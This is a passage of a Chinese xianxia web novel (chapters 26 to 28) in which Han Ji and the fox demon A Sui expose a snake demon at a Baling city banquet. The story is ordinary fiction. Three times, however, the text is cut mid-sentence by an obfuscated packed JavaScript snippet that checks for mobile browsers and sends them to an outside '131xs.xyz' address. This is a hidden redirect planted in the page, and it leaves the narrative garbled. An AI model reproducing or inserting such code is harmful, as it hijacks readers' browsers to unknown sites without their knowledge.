她伸手扶住帷幔便要掀开,可帷幔一端却被韩纪死死扯住。 她怒道:“楚仙长,不敢让我查看,可是心中有鬼?” 韩纪见她面色变换甚为有趣,冷不丁地起了恶心她的心思,笑问:“谢统领,我家阿随可是赤身裸体地躺在床上,你二话不说便要掀开床帐是想占他的便宜么?到时候你看光了他的身子,吵嚷着要让他负责该如何是好?难道你做大我做小吗?” 谢必贞的脸色可以说是吃了一只苍蝇那样恶心。 她恼怒地看向韩纪,咬牙切齿道:“不管你说什么,今日这个床我都查定了!”说罢,她猛地扯开床幔,青纱帐因着二人拉扯断成两截。 顾不得什么礼义廉耻,她往床榻上瞧去,却见阿随袒胸露腹地坐在床上,脸上含笑地看着自己。 他的皮相生得极好,起码在谢必贞这么多年见过的男子之中算得上是数一数二,只可惜金玉其外败絮其中,如此俊美的男人却是个塞满稻草的绣花枕头。 “谢统领,我竟不知我的身体对你有如此大的诱惑,你要查便来査吧。”阿随掀开被子,下了床榻,转身避开谢必贞的目光穿起了衣裳。 谢必贞直视着他的身体,目光扫过他上身露出的每一寸肌肉,骤然见他小臂上有一道伤痕,伸手便抓起来看。 “这是什么?”她冷声问。 阿随瞥了一眼,无奈地叹道:“我师姐善妒,见我与那丫鬟亲热,怎么说都要给我点惩罚,便重重地咬了我一口。怎么,你也想要一个?” 谢必贞借着月光仔细看去,那伤痕确实是人的牙印。 牙印极深极重,破开肌肤,露出血肉,咬得极狠。 谢必贞银牙错啮,将他的手甩开,骂了一声无耻,环顾四周,见再无什么可疑之处,白了韩纪一眼,转身头也不回的走了。 见她走远,阿随关了房门,一边缠着衣袖,一边挖苦:“你方才说的话可把谢必贞恶心坏了。” “伤敌一千,自损八百。”韩纪偏着头坐在床榻上,有气无力地说道,“你也不差。” 她的声音很是虚弱,阿随听了眉头蹙起,心中慌乱,快步朝她走去,谁料他刚刚走到她身侧,便见她扶住床榻的手青筋暴起,紧接着便一口血吐了出来,跌倒在地。 阿随忙将她扶起,焦急地问:“这是怎么了?” 韩纪看着他一脸慌乱的模样不似作假,心中稍稍宽慰了一些,苦笑道:“有些上火,吐血败火。” 阿随知她说的不是真话,也知她不会如实相告,因此不再询 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941791|177381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问,只是将她扶到榻上靠着,急急忙忙去给她倒茶水,只道:“方才我中了蛇毒你救了我,现在我也照顾照顾你。” 韩纪接过茶水,慢慢喝完又将茶杯递还给他。 阿随又倒了一杯茶水,轻声问:“这蛇毒如此厉害,应该不是凡物,你耗费了许多灵力救我吧?” 韩纪见他看着伤口沉思,苦笑一声,答道:“是啊,耗费了许多,怕是没力气给你解开御妖符了。” 平静的神色从阿随的脸上渐渐剥离,他有些欣喜,又有些震惊地看向韩纪,一字一句道:“你放心好了,既然你真心待我,我也会真心待你的。我一定会帮你夺得悬息壤,到时候你取出金魄神珠后,如果还有需要,我也会继续帮你。”话音未落,他便去桌上取来糕点递给韩纪。 看着他有些忙碌的身影,她都有些忘了没遇见他时是如何过的,只是这一切都不重要了。 金魄神珠已经炼化在他体内,她也不必再时时顾及他的性命了。 韩纪望着阿随美丽的脸,暗自想到:“这只小狐狸来路不明,天资极高,却又妖性难除,如今又得了金魄神珠与我的灵力,以后怕是会修为大涨,到时若是真的为非作歹,不知道多少无辜百姓会死于他手。我如果放他走了,算不算放虎归山呢?” 她吐了口气,试探道:“待到此间事毕,我将会解开御妖符还你自由,你到时候有没有什么打算呢?” 阿随的身影掩进了黑暗之中,韩纪听见窸窸窣窣的响动,却看不清他在做什么。 他沉默许久,答道:“先前说了要真心相待,我也不骗你。待到你解开锁妖契,我要去一趟万法妖宗,处理一些未了的事情。” 万法妖宗,一个与仙门道盟为敌的地方,那个宗主洛渭还试图将她炼为阴尸,这样地方有什么好去的? 韩纪抓着床沿的手紧了紧,道了一声好,不再言语。 阿随沉默片刻,道:“如今可以确定谢必贞和那密洞中的东西肯定有关联,只是不知道那个老城主知不知道这个事。” 韩纪道:“陆权野应该不知,密室虽是从城主府宗祠进去的,但宗祠并不是直达唯一的入口。从前城主府也有这个密室,因为只有城主才能出入,所以没有别的出口。而且,如果陆权野知道这些事情,方才谢必贞就不会以城主府失窃为由头来搜查我们。” “如果此事的主谋就是谢必贞——” 韩纪忽然想到了什么,抬起头来,打断阿随的话,问:“血甲虫若要认主,须得用血喂养五十年,你看谢必贞是多少年岁?” 阿随道:“最多不过三十。” 韩纪道:“不过三十当上一人之下万人之上的城主府统领,且以血喂养血甲虫五十年,她不是妖谁是?”她说完此话,又问:“方才你可看见了——” 阿随瞬间理解她的意思,接道:“——她的脖颈上确实有被蛇咬伤的痕迹。” “如今陆权野年迈体虚,大限将至,城中事务实际上都是她在管辖,城主一死巴陵城的下一任城主怕就是谢必贞了。”韩纪冷声道,“到时她独掌大权,巴陵城方圆百里的百姓都得去喂蛇。明日一早,你我二人就去拜访陆权野,如果他真如传言说的那样痛恨妖邪,咱们倒还有机会扳倒她。” 26. 城主遭难 清晨落了场雨,红日初升时,整个巴陵城都陷落在灿烂的金光中。 韩纪一早便带着阿随来城主寝殿前请罪,二人在殿门前站了半个时辰,才有侍女来请二人进去。 甫一进殿,沉重得好似屋檐上腐朽青瓦一般的中药味扑鼻而入。 韩纪走到殿内,朝坐在主位上的陆权野作揖道:“玉苍派楚清妙、楚随拜见城主。” 陆权野咳嗽了两声,问:“楚仙长,听侍女说你二人一早便来到我这里候着请罪,你们何罪之有?” 韩纪答道:“昨夜我酒后失态惊扰了城主,这是其一;阿随酒后乱性轻薄了城主府丫鬟小蝶,这是其二。” 陆权野听见第一件事时脸上尚有笑容,听见第二件事时便有些不悦了。但碍于两人都是仙门弟子,他也没有发作,只是问:“那丫头有没有事?” 韩纪道:“谢统领送我回去的时候恰好撞见了,这小子奸计没得逞,只是苦了小蝶挨了二十棍赶出府去了。今早他酒醒了,我便带着他来领罪。” 陆权野叹息一声,摆手道:“既然必贞已经处置过了,那便不必再罚了。”话毕,他抬眼叫来一侧服侍的侍女,嘱咐道:“去库房从我的私银中取五十两给那丫头,当做她另谋差事的本钱。” 待到侍女退出殿中,韩纪便趁机问:“城主,昨夜谢统领巡查,说是城主府失窃,可有丢什么东西?” 陆权野闻言看向另一侧的侍女,布满皱纹的脸上没有什么表情。 那侍女连忙说道:“回禀城主,谢统领清晨遣人来报过了,说是有贼人夜探城主府,盗走了一些金银细软,并没有丢失太过贵重的物品。” 陆权野便看向韩纪,叹道:“楚仙长也看见了,如今巴陵城的大小事宜都是必贞那丫头替我处理,没办法,人老了,身体实在是很不中用。”说罢,陆权野又重重咳嗽起来。 “谢统领到。” 殿外响起通传声,韩纪偏头看去,只见谢必贞身着一身品蓝色骑装,快步走了进来。 她先向城主拜了一拜,目光方才装向韩纪,冷声道:“我听侍卫说楚仙长一早便来了城主府,生怕昨夜搜查得罪了仙长,特来告罪。”她说这话时,冰冷的眸子紧紧盯着韩纪,一眨不眨,射出寒光。 韩纪心知她为何来此,笑道:“谢统领深夜搜查也是为了我的安全,我感激不尽。只是今晨酒醒,想起昨夜宴席上的荒唐行径,心有不安,赶忙调制了仙门中疗伤用的上好药膏,一早来献给城主赔罪。” 陆权野闻言目露喜色,道:“昨夜确实被汤水烫到了腹部,疼痛难忍,楚仙长有心了。”话毕,侍女步下白玉阶来取药。 韩纪却道:“药膏疗效虽好,使用时却需要小心。我与谢统领皆是女子,倒不如我二人退至殿外,让阿随给你擦药,也好将使用方法详细告知,以免后续因药膏使用不当给您的身体造成损伤。” 陆权野点头同意,韩纪与谢必贞一齐退出殿内。 刚走到长廊外,谢必贞便冷冷问道:“楚仙长,该不会为了昨夜的事情要和城主告我的黑状吧?” 韩纪偏头看她,见她神色平静,毫不慌乱,摇头笑道:“如此小的事情,也值得多嘴么?你未免太小看我了。” 谢必贞不语。 韩纪便问:“昨夜那丫鬟怎么样了?” 谢必贞双手抱胸,挑眉讽刺道:“我还以为你只管你自己和那情郎,怎么,良心不安?” 韩纪想起那丫头昨夜哭诉时那凄婉委屈的话语,抿了抿唇,放低了声音道:“那丫鬟肉体凡胎,二十棍下去,怕是得在床上躺个十天半个月。”她从袖中掏出一瓶药膏,递给谢必贞。 “这是我自己用的药膏,对跌打损伤这一类很是有效。” 谢必贞径直走下阶梯,冷哼一声道:“她不需要,你以为谁都要用你用剩的东西吗?” 韩纪知她话里有话,但心知阿随有错在先,自己理亏,便道:“这是新的,没有用过。我知道这件事上,是我师弟做错了,也请你替我向她赔个不是。” 谢必贞回头看向韩纪,冷冽的眉眼中有柔软的感情流露出来。 她望着她,极为真诚地说:“奉劝你一句,既非良人,早日回头,免得后面真心错付,遍体鳞伤。” 殿门被拉开,阿随走了出来。 谢必贞狠狠地剜了阿随一眼,转身离去。 二人回到住处,韩纪询问阿随殿中发生事宜,他便坐在太师椅上斟了一杯茶,将殿内所见所闻娓娓道来。 “老城主褪去衣裳,露出肚皮,我瞧见他背后有七八道可怖的伤疤。那伤疤经年不愈,反反复复地迸裂出血,听他说是年轻时候被狐妖用毒爪所伤,这么些年遍寻名医也不见得好。”阿随顿了顿,补充道,“那伤痕确实是狐妖所伤。” 韩纪斜靠着太师椅,一只手揉着额角,另一只手轻轻点着紫檀花桌。 阿随喝了口茶继续说道:“他言语中对妖怪的痛恶不似作假,我替他上了药后,他很是感谢。穿衣服时,他忧心忡忡地说近些年巴陵城中妖怪吃人的事情越发多了,谢必贞虽然身手出色,但终究是捉妖的门外汉。他想聘请我们作为巴陵城的捉妖师,往后总管巴陵城的捉妖事宜,造福百姓。” “如此看来,陆权野倒不大可能与妖孽勾结。”韩纪摩挲着茶杯,“但此事事关重大,我们还需再观察观察,最起码要先搞清楚谢必贞是什么妖怪。” 阿随道:“蛇妖?那里头的小蛇那么毒,我中了毒都差点丧命,她却毫无反应,她不是蛇妖这说不通。” 韩纪沉吟片刻,道:“晚些时候我去探探她的虚实,你留在屋中,随机应变。”说罢,她正要起身回屋,却被阿随伸手拦住。 她诧异地看着他,挑了挑眉。 阿随有些不自在地说道:“那个小蝶……是她同我说……她与一男子情意相投……但城主府丫鬟要到二十五岁方可出府……她想提前出府,就要受点苦楚,世上哪有既能得到所要之物又能全身而退的好事……总之,你相信我,我不是为了害她。” 韩纪不知他说的是真是假,也无力去分辨。 连夜奔波,身体疲惫至极,尚有硬仗要打,她沉默着点了点头,便回屋打坐调息。 是夜,星光熹微,夜色朦胧。 韩纪换上夜行衣来到谢必贞在城主府中的居所,将身影藏在院中绿竹的阴影里。 绿竹摇曳,庭院中光影纷呈。刚刚下过雨的屋檐下湿漉漉的,墙角生出绿茸茸的青苔。屋内烛火闪烁,谢必贞的影子映在门扇上,朦朦胧胧。 没过多久,屋内灯被吹灭。 韩纪刚刚攀上屋檐,便听得一声异响。 她低头探去,房门紧闭,东南角的窗户却开了一道缝隙,一个黑影从中蹿出,越过院墙往外疾行而去。 韩纪连忙跟上,那身影行踪却甚是诡异,好几次钻入池塘竹林之中,若非她五感敏捷,不知要跟丢几次。 眼见着黑影蹿进高高的院墙,韩纪紧跟着纵身跃入。可待到她双脚落地之时,院内却静悄悄的,毫无动静。 夜风里,树叶沙沙作响,未关紧的门窗发出呼啸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941792|177381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韩纪闻见空气中那令人作呕的粘稠腥味,抽出青木杖严阵以待。 她看向味道传来的方向,漆黑的莲花池里,莲叶层层叠叠的颤动着,偶有波纹蔓起,小鱼跃出水面,让整个莲池都蠕动起来,仿佛一只巨兽。 忽然哗啦啦的一响,韩纪抬袖遮挡,掩住口鼻,从缝隙之中看见巨蛇的尾巴拂过院墙,往院外逃去。 “啊!” “救命!” 一声尖叫在院外响起。 韩纪翻过院墙,只见黑夜之中一条巨大的蛇尾卷着一个丫鬟钻进墙角的紫阳花团中。 她纵身跃下,一杖击在蛇身上,从巨蛇蛇尾中抢下那丫鬟时,那丫鬟脖颈青紫,已然昏厥,好在还有脉搏。 韩纪将丫鬟放在小径上,提杖朝巨蛇追去。 夜色之中,巨蛇如同一缕弯弯曲曲、黏黏糊糊的液体在院墙之间流动。 韩纪追着它进了一个院子,待到落地才意识到这是城主的寝殿。 “有蛇妖!来人呐!抓蛇妖!” “保护城主!” “保护城主!” 院外有人高呼,有人举着火把前来。 屋内燃起烛光,陆权野的咳嗽声响起。 可那咳嗽声刚响了两声便戛然而止,烛台颠倒声、巨蛇爬行声、物品倒地摔碎声杂在一起。 韩纪破窗而入,便见巨蛇卷着陆权野不断的在地上翻滚,她当即跃起猛击蛇头。 巨蛇吃痛带着陆权野在殿内逃窜,待到韩纪追上前去,便见陆权野奄奄一息地躺在地上,枯树皮一般皱巴巴的脖颈上有一个血淋淋的大洞,巨蛇的尾巴从窗户上急速落下。 韩纪心中着急,却也不得不赶上前将陆权野抱在怀中,为他止血疗伤。 四周火光闪动,数十个侍卫高举火把冲破门扇,将韩纪团团围住。 韩纪尚未开口,便听得一个冰冷的声音在人群中响起。 “把蛇妖抓起来。” 层层泛着寒光的盔甲退至两侧,火焰在空中卷起一缕缕黑烟,火光晃动中,谢必贞的脸逐渐清晰。 韩纪抬眼看去,她的额角正渗出黑血,她却浑无知觉一般抽出长剑横在韩纪喉间,冷声道:“今夜城主府蛇妖作乱,勒伤丫鬟,咬伤城主,罪该万死,现本统领率兵将其降服。” 在谢必贞身后,数十个捉妖师悬着经幡拿着绳索现出身来。 韩纪临危不惧地直视着谢必贞,道:“谢统领,如今城主重伤未醒,危在旦夕,你不先救城主,反倒急着给我定罪。我明明是救护城主有功,你却非说我是蛇妖,我看是你心中有鬼。” 谢必贞冷哼一声:“大夫自是在赶来的路上。至于你,三更半夜不休息出现在城主寝殿,已经足够可疑。” 说罢,她一声令下便要在场的侍卫与捉妖师诛杀韩纪。 韩纪握紧手中的青木杖,准备找准时机勒住谢必贞的脖颈抢出门去。 正在韩纪准备动手之时,躺在地上的陆权野睁开了双眼,神情痛苦地呻吟起来。 一时间,所有人都停住手中的动作,所有目光都凝视着陆权野的脸,所有的耳朵都倾听着他的声音。 陆权野脖颈的伤口已经止住了血,只是唇色发乌,脸色苍白,原本便苍老的脸如今更显得憔悴腐朽。 他的嘴唇颤动着,声音嘶哑短促,好似乌鸦。 “楚仙长救我……不可伤她……” “不可伤她……” 陆权野仰着头看向四周的侍卫与丫鬟,还准备说些什么,体力不济,又昏死过去。 27. 端午夜宴 得了陆权野昏迷前的一句话,韩纪免了一场打斗,却免不了一番盘问。 “我说了我是来救人的。” 不知道是第几次说这句话,韩纪坐在木椅上有些不耐烦。 捉妖师将乱七八糟的驱蛇符咒在她身前点燃,又不断朝她洒雄黄粉。 韩纪无话可说。 她知晓即使和这些捉妖师说“谢必贞才是蛇妖”也没人会信她的话,毕竟她说了十几次“我不是蛇妖”这些人还是让她喝雄黄酒。 韩纪坐在脏兮兮的椅子上,一边无奈地听捉妖师念着口诀,一边盘算着接下来该怎么办,心中只盼陆权野早日清醒,不然她就要打出这城主府了。 牢房外传来急促的脚步声,一个侍卫走到门外,解开门锁,朝韩纪作了一揖,转头对捉妖师说:“城主醒了,要见楚仙长。” 身上的捆妖索被解开,韩纪十分不满地“哼”了一声便跟着侍卫走出牢房。 太阳高高悬在头顶,走到城主寝殿前时,谢必贞冷着脸迈下台阶,与韩纪擦身而过。 韩纪进了寝殿,在丫鬟的带领下来到城主榻前,便见榻边摆了一张软椅,阿随支着脑袋坐在一侧查看陆权野要吃的食物。 余光瞥见韩纪进来,阿随紧蹙的眉头松开些许,叹道:“你说你要去捉妖,一走就是一天一夜。若非我来得及时,你怕已经身首分离了。” 韩纪不理会这只小狐狸的阴阳怪气,径直走到陆权野身侧,替他把脉。 脉象平稳,无性命之忧。 韩纪转身欲与阿随说话,躺在床榻上的陆权野却剧烈咳嗽起来。 阿随忙将他扶起,给他喂了些水。 陆权野喝完水甚为疲倦地闭上眼叹息,良久才道:“昨夜真谢了二位仙长,若非你们及时出手相救,我这把老骨头怕是就要被蛇妖吞入腹中了。” 韩纪与阿随对视一眼,见他也觉得时机成熟后,上前躬身道:“只可惜蛇妖还未抓到,到时候我们一走,巴陵城恐有大乱。” 陆权野闻言看向韩纪,浑浊的眼球中布满了弯曲的血丝。 他伸出那双如同枯木的手,重重抓住身下的锦被,试探着问道:“二位仙长,老朽有一不情之请,还望二位仙长能施以援手,抓住这伤人性命的蛇妖,事成之后,老朽愿以千金为谢。” 韩纪露出为难的神色,缓缓道:“陆城主,不是我不想帮。只是我自己都被怀疑是蛇妖,我担心要是我插手了——” 陆权野打断她的话:“——当夜,巨蛇冲入屋子中,缠住我的脖子之时,是你破门而入,一杖击在那蛇头之上,老朽当时看得十分真切。楚仙长,老朽保证,绝不会再有这种传言。”他这话说得十分急促,致使他说完话又止不住地咳嗽起来,一侧的阿随连忙替他顺气。 韩纪见他提及昨夜之事,顺水推舟地谈起那夜的情景,说出自己的怀疑。 “那夜我冲入房中,打伤了那巨蛇的头颅之后,那蛇便逃跑了。因着城主您受了伤,危在旦夕,我不得不停下来救治您。下一刻,谢统领便带着人闯了进来,她既不急着查看你的伤势,也不询问我事情发生的经过,一口咬定我就是蛇妖。” 陆权野眼睛微眯,浑浊的眼球放出精光。他环顾四周,屏退左右,低声道:“楚仙长是怀疑必贞?” 韩纪当即道:“城主,方才你说你记得我打伤了蛇头,而谢统领的额头上便有伤痕,这还不够可疑么?” 阿随补充道:“在城主府宗祠之下有一个密室,清晨时我探了一次,那密室已然被搬空了。可上一次,也就是在城主府失窃那夜,我与楚师姐查探之时,里面饲养了几万条蛇。好在那些蛇已被楚师姐斩杀殆尽,不然我真不敢想几万条毒蛇从密室之中钻出之后,巴陵城还能剩下几个活口。” 陆权野沉默着,眉头紧蹙,嘴角低垂,苍老的面皮上,惊恐和犹疑的神色闪烁不定。 “几万条蛇……怎么会有几万条蛇……” “那个密室确实是有,因着密室是先人所留,构思精巧……我便交由必贞打理……” “几万条蛇……” 他又重复道,他的眼中似乎真的出现了几万条纠缠不清、蜷缩扭动的毒蛇。 韩纪说道:“城主,我知你对谢必贞很是信任。但如今,我们必须——” 陆权野举起手掌,示意韩纪不要言语。他沉思片刻,止不住地叹气与咳嗽,最终缓缓开口道:“两位仙长,我知晓你们与我说的一定是实话。我虽信任必——谢统领,但这些在巴陵城百姓的安危前算不得什么。只是如今,巴陵城虎卫营的兵权与能调动城主府侍卫的令牌都在她的手中,如果没有任何证据,仅凭这些推测是没有办法扳倒她的。到时候,虎卫营反扑,我们毫无胜算。” 韩纪自然也知晓这些,她只是没想到如今陆权野的权力被架空至此,连城主府的侍卫都无法调配。 “现下该怎么办?”阿随问。 韩纪沉吟道:“如今我们只要让巴陵城所有人都知道,谢必贞便是那伤人性命的蛇妖。人妖有别,到时候虎卫营与侍卫营中就算有她的亲信,也绝不可能让所有人都为她所用。而这样的机会眼前便有一个。” 阿随眸光一闪:“端午宴,除蛇妖,倒很是应景。” 得了陆权野的暗中支持,韩纪与阿随做起事来倒也是方便许多。 端午宴设在汨罗江畔,沿途皆设了许多人马看守。 江上,一艘艘龙舟划过,在江中投放牛角粽;屈子祠里,前来祭奠的人络绎不绝。 宴席上,陆权野坐在主位,城中官僚列于两侧,谢必贞也在其中。 天色渐晚,夕阳西下,在落霞的余晖之中,舞姬脚步飞旋献上雄黄酒。 “城主,近来天气炎热,毒虫频出。城中百姓听闻城主府有蛇妖出没,都很忧心您的安危,特地编了五彩绳献给你。”谢必贞站起身来,朝城主作揖道,“这五彩绳中寄托了城中百姓对你的爱戴与美好祝愿,本身又蕴涵着五方神力,想来城主戴上一定能驱邪迎吉。” 陆权野听见是巴陵城百姓自发编制的,甚是欣慰,忙让人呈上前来。 数十个婢女奉着木盘走上台阶,将盘中五彩绳分发给宴席上的各个官员。 韩纪低头看向那盘中的五色绳,为自己和阿随各挑选了一个,余光却瞥见那婢女依旧弓着腰立在身侧,因而朝那婢女投去疑惑的目光。 “盼英姑娘。”韩纪很是诧异,“你怎么会在此处?” 顾盼英抬起头来,美丽的容颜被宴席上的烛火照得如宝珠一般光彩夺目,见韩纪注意到她,她禁不住莞尔一笑,面颊染上点点落霞般的红晕。 她跪坐在小桌旁,为韩纪倒了一杯雄黄酒,轻声道:“听闻城主府江畔设端午宴,我猜想楚姐姐你一定会来……那日仪仗队回来时我没见到阿随仙长和……和姐姐你,总是心神不宁,今日见到你安然无恙我才放下心来。” 韩纪接过那杯酒一饮而尽,正低声与她交谈,便听得有人喊自己。 “楚仙长,今夜巴陵城来了许多明霞宫与逍遥峰的弟子,他们说与你相识,后头你可以与他们叙叙旧。”谢必贞提着酒壶走到韩纪跟前,也为韩纪满斟一杯。 韩纪凝视着那杯酒,开口回绝道:“谢统领,多谢你的安排。只是我不善饮酒,不胜酒力,只能以茶代酒敬你一杯。”说罢,她准备去提茶壶,手却被谢必贞摁住。 谢必贞冷冷道:“楚仙长,这位婢女为你倒雄黄酒,你喝得;怎么轮到我这个巴陵城总统令给你斟酒,你便不胜酒力了?是不是看不起我?” 她话音落地,周遭的虎卫军与侍卫皆目光冷冷地注视着韩纪,横眉怒目,手按剑身。 便在这千钧一发之际,阿随起身接过那杯酒,灿然一笑道:“她是楚仙长,我也是楚仙长,我在这里多谢谢统领关怀了。” 谢必贞见他将酒饮了,唇角微勾,也跟着一饮而尽。 “楚清妙楚仙长,听说你也有礼物要献给城主,不知我等凡夫俗子可有荣幸一览?”谢必贞并不气恼,再次开口便明确了究竟是哪位楚仙长。 韩纪与陆权野对视一眼,见他正襟危坐地直视着自己,目露赞许,暗示时机已到,便站起身来,从怀中取出一物。 “谢统领,城主如今最忧心的便是城中作乱的蛇妖,没有什么礼物比得上帮城主捉住蛇妖了。”韩纪一边绕开摆着各色粽子与菜肴的矮桌,一边将包裹着物品的黑布掀开。 “一根钗子?” 宴席上有官员惊疑出声,远处的百姓们也纷纷抬头望来。 “一根木钗如何能捉住蛇妖?”谢必贞目光冷冽,双拳紧握,“楚仙长, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陆权野点点头,伸出手想去摸她那一头茂密而乌黑的发,却终究在半空中顿住了手,收了回来。 他又问道:“二十年了,你已经是手握大权的谢统领了。如今的你,可还记得我这一生的愿望。” 谢必贞低着头,沉默一瞬,答道:“斩尽妖邪,护一方平安。” 陆权野颇为欣慰地笑出声来,转头看向韩纪,问:“楚仙长,揪出妖孽非如此不可么?” 韩纪坚定地点了点头。 “今夜,端午宴,除蛇妖!为的是巴陵城中百姓安危!在座的,不仅是谢必贞,每一个官员,每一个兵士,甚至是每一个百姓都要用神木简验明正身。”陆权野迈上台阶,目光扫视过场上的所有将领,缓缓道,“甚至是我。” 每一个被他目光扫过的将领都放下手中刀剑。 谢必贞抬起头来,惯来冷峻的面容上终于浮现一丝惊恐。韩纪拿着神木简逼近她,问:“谢统领,是你自己来,还是我帮你?” 谢必贞直视着那根木钗,愤怒、不安、恐惧渐渐从她的神情中流露出来。 韩纪迫视着她,继续问:“谢统领,你是不是不敢?” 修长有力的手指颤抖着握住那根木钗,谢必贞直起身来,看向陆权野。 她的嘴角微微抽搐着,想再说些什么,可陆权野留给她的只有审视的目光。她看向那跟随她出生入死的将士,将士却纷纷低着头,跪倒在地。 “她是不是真的不敢?” “对啊,不是说只要刺破肌肤即可,她为什么犹犹豫豫的?” 城楼下,百姓小声议论起来。 一人声小,百人声沸,更何况是千人万人。 谢必贞望着楼下那滔滔不绝的汨罗江水,听着百姓们的闲言碎语,忽然笑出声来。 她摇头苦笑道:“都怀疑我,都不信任我,我为巴陵城抛头颅洒热血,却换来的是这个结局!罢,罢,罢!既然你们想看看我是不是蛇妖,我便如你们所愿!” 谢必贞双目赤红地盯着韩纪,高声道:“今夜,就请苍天来辨认,看看这巴陵城中,这端午宴上,谁是人,谁是妖!” 话声毕,她握紧木钗猛地刺入腹中,鲜血哧的一声涌流出来,一滴一滴地落在地面。 韩纪惊呼一声,下意识地想夺回神木简,上前查看,却见谢必贞忽然痛苦地颤抖起来。 一瞬间风云大变,电闪雷鸣。 凄惨的哀嚎声响彻黑夜,谢必贞的面容开始扭曲。在她抬头的刹那,韩纪在她的瞳孔中看见了巨蛇扭曲的身影。 28. 汨罗江水 韩纪抬手呵退众人,抽出青木杖,高声道:“退后,蛇妖要显形了!” 所有人都立起身来,一边后退一边紧紧盯着那跪在地上惨叫的谢必贞。 江风吹拂中,谢必贞紧束的墨发飞散开,遮住狰狞的脸。 韩纪屏息凝神,小心翼翼地靠近她。 忽然,谢必贞抬起头来,红艳艳的烛火映射下,面容近乎厉鬼。 她高声大笑着,笑得前仰后合。 这个意料之外的变故让所有人都乱了分寸。 “怎么,想看我现出原形么?”谢必贞站起身来,拔出腹部的木钗高高举起。 殷红的血沿着那木钗滴落,作不得假。 她大笑道,“我本就是人身,从来不是什么蛇妖,倒是你,楚清妙——” 谢必贞收了笑容,直视着韩纪。 “——自从你来了巴陵城,蛇妖就出现了!恰好,今夜逍遥峰与明霞宫的弟子也在楼下,据他们所言,玉苍派根本没有叫楚清妙的弟子,你才是蛇妖!” 在谢必贞说话间,七八个穿着明霞宫与逍遥峰弟子服制的人奔至宴席正中。 韩纪偏头看去,目光在那些弟子面容上逡巡而过,其中没有一个她熟悉之人。 “这些人根本就不是仙门弟子!” 韩纪转过头来,刚想同陆权野禀明情况,谢必贞便举着木钗朝她眼睛刺来。 韩纪双手支起青木杖格挡住木钗,一脚踹向谢必贞腹部,数不清的将士便扑了上来将韩纪困在正中。 谢必贞爬起身来,冷声质问:“怎么,楚清妙,你不敢么?” 韩纪且战且退至围栏边,背后便是滔滔江水,退无可退,回头看去,谢必贞举着木钗再次朝着她的眼睛刺落。 天昏地暗的一刹,一道身影挡在她身前。 木钗刺入血肉时发出嗤的一声响,鲜血顺着木钗滴落在地。 阿随一脚将谢必贞踹开,抽出短剑拦在韩纪身前,却身体一歪,无力地跌倒在地。 韩纪忙将他抱在怀中,四周穿着明霞宫与逍遥峰服制的弟子已将两人团团围住。 “走……快走……别管我……”阿随痛苦地催促着。 韩纪拔出木钗,摸着他的脉搏,心中似有千军万马奔腾而过。 他明明是狐妖,浸了雄黄的神木简怎么会对他有用? 是那杯酒! 那杯酒有古怪! 阿随的面容变得狰狞,细密如玉的鳞片在他脸颊上浮现,原本黑亮的眼睛也变为猩红的竖瞳。 巨大的蛇影显露在宴席上空,无数的毒蛇从四面八方窜出。 谢必贞站在一众将士后,冷眼看着这一切,命令道:“诸位,蛇妖已经显形,还不将蛇妖就地诛杀!” 话声刚落,数不清的刀枪棍棒便将二人牢牢困死在方寸之间。 韩纪将阿随扶起,让他靠着围栏站立,自己抽出青木杖迎敌。 衣袂翻飞间,她避开无数锋利的剑刃,转身之际,青木杖如同钢鞭一般抽出,惨叫连连。 灯火摇曳中,数不清的人影翻倒在地滚落台阶,抬眼望去,新的人影执着刀剑又冲上前。 千防万防总有一疏,便在她击退两个士兵之际,一个穿着明霞宫弟子服制的人拔出长剑刺向阿随。 阿随无力还击只得躲避,顷刻间便要翻下栏杆跌入汨罗河中。 “阿姐!” 身后传来声嘶力竭的呼喊,韩纪想也不想转身去救,却有箭矢破风而来,她只得先挥杖斩去箭矢。 便在手指要触及阿随衣袖的刹那,她余光瞥见一侧的木柱旁,顾盼英正竭力拦截一个追击她的兵士。 那兵士举刀朝韩纪扑来,刀刃正对着的却是顾盼英的脸。 “姐姐小心!” 电光火石之间,韩纪心中便有了决断。 那兵士见那弱女子扑在刀下,见她姿容秀丽,终究于心不忍,手中刀刃一偏避开脖颈,正正砍在盼英右臂上。 鲜血飞溅,韩纪一脚将他踹飞,单手扶住要摔倒在地的盼英。 “姐姐,别管我,快走!”顾盼英面容苍白,双眼含泪。 韩纪却顾不得这些,她焦急地回头望去,围栏之上哪还有人影。 只听得扑通一声,阿随与那兵士一齐跌入江水之中。 韩纪的心也坠入那川流不息的江中。 无数的兵士又围了上来,却犹豫着不敢贸然上前。 遍地都是哀声惨叫的人,那女子浑身上下却不见一个伤口。 韩纪单手扶着盼英缓缓后退,待后背抵到冰冷坚硬的石栏时,江水拍打两岸激起的长风将她的发卷得上扬。 谢必贞站在高处,冷冷地看着这一切。 她身侧,年迈的陆权野直起身子,目光如寒针一般射出。 韩纪见状心中已然明了今日这端午夜宴是陆权野与谢必贞的一出好戏,她牵住顾盼英的手,袖中一块小石滚落掌心。 